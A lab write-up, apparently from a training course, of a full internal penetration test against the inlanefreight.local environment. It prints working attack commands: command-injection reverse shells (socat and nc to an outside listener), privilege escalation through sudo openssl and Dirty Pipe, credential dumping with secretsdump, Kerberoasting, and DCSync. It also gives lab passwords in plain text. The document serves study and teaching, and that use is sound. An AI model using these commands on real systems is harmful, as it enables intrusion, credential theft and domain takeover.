Introduction
Scope, Assumptions, and Recon Strategy
An enterprise network assessment usually starts with far less certainty than a lab writeup suggests. In this scenario, the client wanted to know what an anonymous internet user could reach from the DMZ and whether that access could eventually lead to internal compromise, including Active Directory impact. No VPN, web application, or domain credentials were provided, so the attack path had to begin with discovery, validation, and careful prioritization. That is important because an external penetration test is not the same thing as a full web application assessment: the goal is to find realistic footholds and high-impact attack paths, not spend the entire week cataloging every missing security header.
The first stage was therefore broad but deliberate. Fast Nmap discovery identified exposed services, a deeper scan clarified what was actually running, and DNS plus vhost enumeration expanded the list of reachable applications. This is the stage where an attacker learns what the organization has forgotten is public: mail services, weakly exposed infrastructure, forgotten development sites, ticketing portals, and alternate hostnames that were never meant to be obvious. Once those assets are mapped, the work shifts from raw reconnaissance into triage.
sudo nmap --open -oA inlanefreight_ept_tcp_1k -iL scope
sudo nmap --open -p- -A -oA inlanefreight_ept_tcp_all_svc -iL scope
dig axfr inlanefreight.local @10.129.203.101
curl -s -I http://10.129.203.101 -H "HOST: defnotvalid.inlanefreight.local" | grep "Content-Length:"
ffuf -w namelist.txt:FUZZ -u http://10.129.203.101/ -H 'Host:FUZZ.inlanefreight.local' -fs 15157
External Services and Web Triage
Several external services were worth testing, but not all of them were worth deep investment. Anonymous FTP, SSH banner grabbing, SMTP user enumeration, and exposed rpcbind all produced useful intelligence, yet none of them offered a practical direct foothold. That is common in modern external testing: infrastructure services may leak usernames, versions, or low-risk findings, but the real attack surface often lives in the web layer. Once the subdomains were added locally and reviewed in bulk, the more promising pattern became obvious.
ftp 10.129.203.101
nc -nv 10.129.203.101 22
sudo nmap -sV -sC -p25 10.129.203.101
telnet 10.129.203.101 25
rpcinfo 10.129.203.101
eyewitness -f ilfreight_subdomains -d ILFREIGHT_subdomain_EyeWitness
The exposed web applications did not all lead to shell access, but they created a strong picture of the client’s risk posture. Some flaws were valuable because they exposed data, others because they expanded the known attack surface, and a few because they hinted at code execution. In a real engagement, these findings would still matter even if they were not the final foothold, because they show repeated weaknesses across the environment and help explain why the attack path was possible at all.
careers.inlanefreight.localexposed an IDOR in profile handling and showed how user-controlled registration and document upload features can become a privacy risk even without code execution.dev.inlanefreight.localcombined HTTP verb tampering, an internal-header trust issue, directory listing, and unsafe upload handling, making it a direct RCE candidate.ir.inlanefreight.localbehaved like a vulnerable WordPress deployment and was a good candidate for plugin abuse, weak credential testing, and built-in administrative code execution.status.inlanefreight.localsurfaced SQL injection behavior, showing that internal data exposure was possible even before shell access existed.support.inlanefreight.localallowed XSS that could steal an administrator session, turning a simple support workflow into privileged application access.tracking.inlanefreight.localrendered attacker-controlled HTML and JavaScript into generated PDFs, which led to local file read via XHR.gitlab.inlanefreight.localwas misconfigured enough to expose internal development context and reveal the previously unknownshopdev2host.shopdev2.inlanefreight.localaccepted XML during checkout and proved vulnerable to XXE file read.
Initial Access Through the Monitoring Application
The most productive foothold came from monitoring.inlanefreight.local, not because it looked the flashiest, but because it combined weak credentials with server-side command execution. A Hydra run identified admin:12qwaszx, which immediately turned the portal into a higher-value target than the other exposed applications. Manual interaction showed that a backend function accepted IP input and executed ping, but input filtering blocked common operators and keywords. Instead of abandoning the issue, the attack moved to filter bypass by abusing a newline character and broken keyword matching.
hydra -l admin -P ./passwords.txt monitoring.inlanefreight.local http-post-form "/login.php:username=admin&password=^PASS^:Invalid Credentials!"
curl "http://monitoring.inlanefreight.local/ping.php?ip=127.0.0.1%0a'i'd"
curl "http://monitoring.inlanefreight.local/ping.php?ip=127.0.0.1%0a'i'fconfig"
Reading the vulnerable PHP source was the turning point because it showed exactly which characters and commands were blacklisted. That made it clear that socat was available and not filtered, while ${IFS} could replace spaces and quoted character splitting could defeat keyword checks. At that point, the command injection stopped being theoretical and became a reliable shell delivery path. The result was a reverse shell on the DMZ host as the webdev user, which turned a web finding into an internal pivot.
nc -nvlp 8443
GET /ping.php?ip=127.0.0.1%0a's'o'c'a't'${IFS}TCP4:10.10.14.15:8443${IFS}EXEC:bash HTTP/1.1
Host: monitoring.inlanefreight.local
Connection: close
From Web Shell to Root on DMZ01
Initial shells are rarely enough by themselves, so the next step was stability and privilege escalation. After upgrading the shell into a more usable session, host logs were reviewed with aureport, which exposed a previously used credential pair: srvadm:ILFreightnixadm!. That gave a cleaner SSH path into the same host and reduced dependence on the original web RCE. From there, a quick sudo -l check revealed passwordless use of /usr/bin/openssl, which was enough to read the root SSH private key through a GTFOBins technique.
socat file:`tty`,raw,echo=0 tcp-listen:4443
aureport --tty | less
su srvadm
ssh srvadm@10.129.203.111
sudo -l
LFILE=/root/.ssh/id_rsa
sudo /usr/bin/openssl enc -in $LFILE
chmod 600 dmz01_key
ssh -i dmz01_key root@10.129.203.111
This step is worth emphasizing because it shows how enterprise attack paths are often built from ordinary administrative mistakes rather than rare memory corruption bugs. The web exploit got code execution, the audit logs leaked reusable credentials, and a careless sudoers entry converted a limited foothold into full root control over the DMZ system. Once root SSH access was in place, the external phase was effectively complete. The assessment could now transition into internal discovery with a stable, high-privilege pivot host.
Pivoting Into the Internal Network
With root on dmz01, there were two sensible pivoting approaches: SSH dynamic port forwarding with Proxychains or a Meterpreter route with autoroute. Both are useful, and this environment supported either method cleanly. The SSH path was excellent for quick targeted enumeration from the attack host, while the Meterpreter route was convenient for scripted sweeps and later double-pivoting. The key objective was the same in both cases: build visibility into 172.16.8.0/23 without losing operational control of the original foothold.
ssh -D 8081 -i dmz01_key root@10.129.203.111
netstat -antp | grep 8081
proxychains nmap -sT -p 21,22,80,8080 172.16.8.120
root@dmz01:/tmp# for i in $(seq 254); do ping 172.16.8.$i -c1 -W1 & done | grep from
root@dmz01:/tmp# ./nmap --open -iL live_hosts
proxychains enum4linux -U -P 172.16.8.3
That discovery phase identified three especially important internal systems. 172.16.8.3 was clearly a domain controller, 172.16.8.20 exposed HTTP and NFS and looked like a development server, and 172.16.8.50 showed a Tomcat service that was worth checking even though it eventually turned into a dead end. This is another common enterprise lesson: the best route is rarely obvious from the first internal scan. One host might provide authentication material, another file shares, and another group memberships that only make sense once BloodHound enters the picture.
DEV01 Through DotNetNuke and NFS
172.16.8.20 became the next major pivot point because it combined a DotNetNuke application with an anonymously accessible NFS export. The web application itself did not immediately provide access, but the NFS share exposed DNN files, including web.config, which contained administrator credentials for the CMS. That is exactly the kind of enterprise mistake that labs should train for: a web application may look hardened at the browser layer while the underlying file distribution model quietly gives away the keys. Once the DNN admin account worked, the rest of the path became far more direct.
proxychains showmount -e 172.16.8.20
mkdir DEV01
mount -t nfs 172.16.8.20:/DEV01 /tmp/DEV01
cd /tmp/DEV01/DNN
cat web.config
Inside DotNetNuke, there were two viable routes to code execution. The cleaner one was enabling xp_cmdshell through the SQL console and running OS commands that way, while the fallback was changing allowable extensions and uploading an ASP or ASPX shell through the file manager. After code execution was obtained, SeImpersonatePrivilege made local escalation straightforward with PrintSpoofer, which returned a SYSTEM shell. Registry hive export and secretsdump.py then yielded local hashes, LSA secrets, and eventually the domain credential hporter:Gr8hambino!, which became the bridge into broader Active Directory abuse.
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
c:\DotNetNuke\Portals\0\PrintSpoofer64.exe -c "c:\DotNetNuke\Portals\0\nc.exe 172.16.8.120 443 -e cmd"
reg save HKLM\SYSTEM SYSTEM.SAVE
reg save HKLM\SECURITY SECURITY.SAVE
reg save HKLM\SAM SAM.SAVE
secretsdump.py LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security SECURITY.SAVE
proxychains crackmapexec smb 172.16.8.20 --local-auth -u administrator -H <redacted>
Active Directory Expansion and Credential Chaining
Once domain credentials appeared, the engagement shifted from host compromise to identity abuse. BloodHound collection from DEV01 showed that hporter had ForceChangePassword over ssmalls, which created a practical lateral movement path even without local admin. After resetting that password with PowerView, more share hunting through spider_plus, smbclient, and routine share review exposed a backup script containing backupadm credentials. This part of the chain is realistic because enterprise compromise is often less about “one magical exploit” and more about repeatedly turning access, visibility, and bad operational hygiene into the next set of working credentials.
SharpHound.exe -c All
ssh -i dmz01_key -L 13389:172.16.8.20:3389 root@10.129.203.111
xfreerdp /v:127.0.0.1:13389 /u:hporter /p:Gr8hambino! /drive:home,"/home/tester/tools"
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity ssmalls -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force ) -Verbose
proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p Str0ngpass86! -M spider_plus --share 'Department Shares'
proxychains smbclient -U ssmalls '//172.16.8.3/Department Shares'
proxychains evil-winrm -i 172.16.8.50 -u backupadm
On MS01, the backupadm path led to even more credential exposure. An unattend.xml file revealed a local administrative account, and a vulnerable Sysax scheduled-task feature allowed escalation into local administrators. From there, Mimikatz, registry review, and routine looting exposed mssqladm:DBAilfreight1!, which became the key to a targeted Active Directory privilege escalation. BloodHound showed GenericWrite over ttimmons, so a fake SPN was added, a targeted Kerberoast was performed, the cracked ttimmons account was added into Server Admins, and the resulting DCSync path delivered domain-wide NTLM hashes.
$SecPassword = ConvertTo-SecureString 'DBAilfreight1!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\mssqladm', $SecPassword)
Set-DomainObject -credential $Cred -Identity ttimmons -SET @{serviceprincipalname='acmetesting/LEGIT'} -Verbose
proxychains GetUserSPNs.py -dc-ip 172.16.8.3 INLANEFREIGHT.LOCAL/mssqladm -request-user ttimmons
hashcat -m 13100 ttimmons_tgs /usr/share/wordlists/rockyou.txt
proxychains secretsdump.py ttimmons@172.16.8.3 -just-dc-ntlm
Double Pivot to the Management Network
At this point, domain compromise had already met many assessment goals, but the environment still contained a second protected segment: 172.16.9.0/23. The domain controller’s second network interface and a private networking share hinted that this segment existed, and one of the recovered SSH keys turned out to be useful there. Reaching it cleanly required a double pivot: first through the DMZ host and then through the compromised domain controller. This is where operational tradecraft matters, because the problem is no longer exploitation alone but transport, routing, and maintaining control across multiple hops.
The clean approach used Meterpreter port forwarding and a SOCKS proxy to make the management subnet reachable from the attack host. A Linux payload was staged back onto dmz01, a reverse port forward redirected traffic toward the attacker’s handler, a Windows Meterpreter payload was executed on the domain controller, and autoroute plus socks_proxy made 172.16.9.0/23 reachable. From there, proxychains ssh using the recovered ssmallsadm key gave direct access to MGMT01, where the final step was a local Linux privilege escalation using Dirty Pipe. That host represented the client’s “crown jewels,” so full root there completed the enterprise compromise story from anonymous internet user to deep internal administrative access.
proxychains nmap -sT -p 22 172.16.9.25
proxychains ssh -i ssmallsadm-id_rsa ssmallsadm@172.16.9.25
uname -a
find / -perm -4000 2>/dev/null
gcc dirtypipe.c -o dirtypipe
chmod +x dirtypipe
./dirtypipe /usr/lib/openssh/ssh-keysign
Closing the Engagement Cleanly
A network compromise of this size is only useful if the attack path can be explained, defended, and cleaned up responsibly. The final phase should include notifying the client that testing is complete, summarizing the shortest successful path, preserving all command logs and screenshots, and documenting every file placed, account modified, privilege changed, or service touched. Cleanup matters just as much as exploitation because the client needs to separate your actions from future incident response work and restore anything you altered during testing. A strong report should therefore show both offensive competence and operational discipline.
This attack path also makes for a strong narrative in the final report because it demonstrates layered failure, not a single bug. Weak credentials, exposed development assets, unsafe file shares, command injection, excessive Active Directory privileges, poor credential hygiene, and a lack of segmentation controls all contributed to the outcome. That is why enterprise penetration testing should not stop at “we got Domain Admin.” The real value is explaining how many independent controls failed together and which fixes will break the chain early next time.
Reference
This article is based on my personal study notes from the Information Security Foundations track.
Full repository: https://github.com/lameiro0x/pentesting-path-htb